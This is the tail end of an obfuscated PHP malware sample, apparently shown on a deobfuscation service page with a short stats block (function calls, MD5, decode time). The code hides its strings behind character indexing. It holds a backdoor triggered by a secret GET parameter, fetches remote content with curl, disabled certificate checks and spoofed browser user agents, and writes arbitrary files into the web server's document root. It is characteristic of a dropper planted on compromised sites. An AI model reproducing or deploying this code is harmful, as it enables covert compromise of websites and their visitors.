($_GET[$O{22}.$O{13}.$O{52}.$O{8}.$O{3}.$O{7}.$O{14}.$O{7}.$O{24}] == $O{8}.$O{24}.$O{18}.$O{7}.$O{24}.$O{2}.$O{69}.$O{69}.$O{68}.$O{68}) {echo $O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{8}.$O{3}.$O{14}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0;exit;}OooooOO($O,$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$OoooOO0.$O{59}.$O{13}.$O{8}.$O{3}.$O{21}.$O{2}.$O{7}.$O{2}.$O{59}.$O{4}.$O{8}.$O{9}.$O{63}.$O{8}.$O{3}.$O{14}.$O{59}.$O{9}.$O{15}.$O{9}.$O{55}.$O{12}.$O{8}.$O{25}.$O{10}.$O{7}.$O{24}.$O{61}.$OoO.$O{78}.$O{9}.$O{10}.$O{14}.$O{2}.$O{61}.$Oo.$O{78}.$O{9}.$O{3}.$O{61}.$Ooooo.$O{78}.$O{7}.$O{9}.$O{61}.$oo00oo00.$O{78}.$O{18}.$O{14}.$O{61}.$Ooolg.$O{78}.$O{21}.$O{6}.$O{3}.$O{61}.$o0o0oOO000.$O{78}.$O{2}.$O{20}.$O{7}.$O{11}.$O{4}.$O{13}.$O{61}.$o0o0ooo0o0o00o.$O{78}.$O{11}.$O{12}.$O{61}.$o0o0ooo0o0);function OooooOO($O,$OooO){$OooOO = '';$agentarry=array("safari 5.1  MAC"=>"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","safari 5.1  Windows"=>"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Firefox 38esr"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0","IE 11"=>"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; rv:11.0) like Gecko","IE 9.0"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0","IE 8.0"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)","IE 7.0"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)","Firefox 4.0.1  MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Firefox 4.0.1  Windows"=>"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1","Opera 11.11  MAC"=>"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; en) Presto/2.8.131 Version/11.11","Opera 11.11  Windows"=>"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11","Chrome 17.0  MAC"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11","Avant"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser)","Green Browser"=>"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)","safari iOS 4.33  iPhone"=>"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","safari iOS 4.33  iPod Touch"=>"Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","safari iOS 4.33  iPad"=>"Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5","Android N1"=>"Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1","Android Opera Mobile"=>"Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10","Android Pad Moto Xoom"=>"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13","BlackBerry"=>"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+","WebOS HP Touchpad"=>"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0","UCOpenwave"=>"Openwave/ UCWEB7.0.2.37/28/999","UC Opera"=>"Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999",);$OooOOO=$agentarry[array_rand($agentarry,1)];if(function_exists($O{21}.$O{6}.$O{3}.$O{18}.$O{52}.$O{7}.$O{24}.$O{7}.$O{4})){try{$OooOOOO = curl_init();$OoooOO = 30;curl_setopt($OooOOOO,CURLOPT_URL,$OooO);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($OooOOOO,CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($OooOOOO,CURLOPT_RETURNTRANSFER,1);curl_setopt($OooOOOO, CURLOPT_USERAGENT, $useragent);curl_setopt($OooOOOO,CURLOPT_CONNECTTIMEOUT,$OoooOO);$OooOO = curl_exec($OooOOOO);curl_close($OooOOOO);}catch (Exception $e){}}if(strlen($OooOO)<1&&function_exists($O{13}.$O{7}.$O{18}.$O{2}.$O{52}.$O{14}.$O{2}.$O{4}.$O{52}.$O{21}.$O{8}.$O{24}.$O{4}.$O{2}.$O{24}.$O{4}.$O{11})){ini_set($O{6}.$O{11}.$O{2}.$O{3}.$O{52}.$O{10}.$O{14}.$O{2}.$O{24}.$O{4},$OooOOO);try{$OooOO = @file_get_contents($OooO);}catch (Exception $e){}}return $OooOO;}function OooooOOOO($O,$Ooo, $OooOOOOO, $app='') {if ($app) {$OoooO = fopen(@$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}].$O{63}.$Ooo, $O{10}) or die('0');}else{$OoooO = fopen(@$_SERVER[$O{38}.$O{34}.$O{47}.$O{32}.$O{51}.$O{28}.$O{50}.$O{30}.$O{52}.$O{29}.$O{34}.$O{34}.$O{30}].$O{63}.$Ooo, $O{1}) or die('0');}$result = fwrite($OoooO, $OooOOOOO);fclose($OoooO);return $result;}?>

Function Calls

header 1
error_reporting 1

Variables

None

Stats

MD5 79c3b86a06ee2a8dafbd1fd3e188c5c1
Eval Count 0
Decode Time 223 ms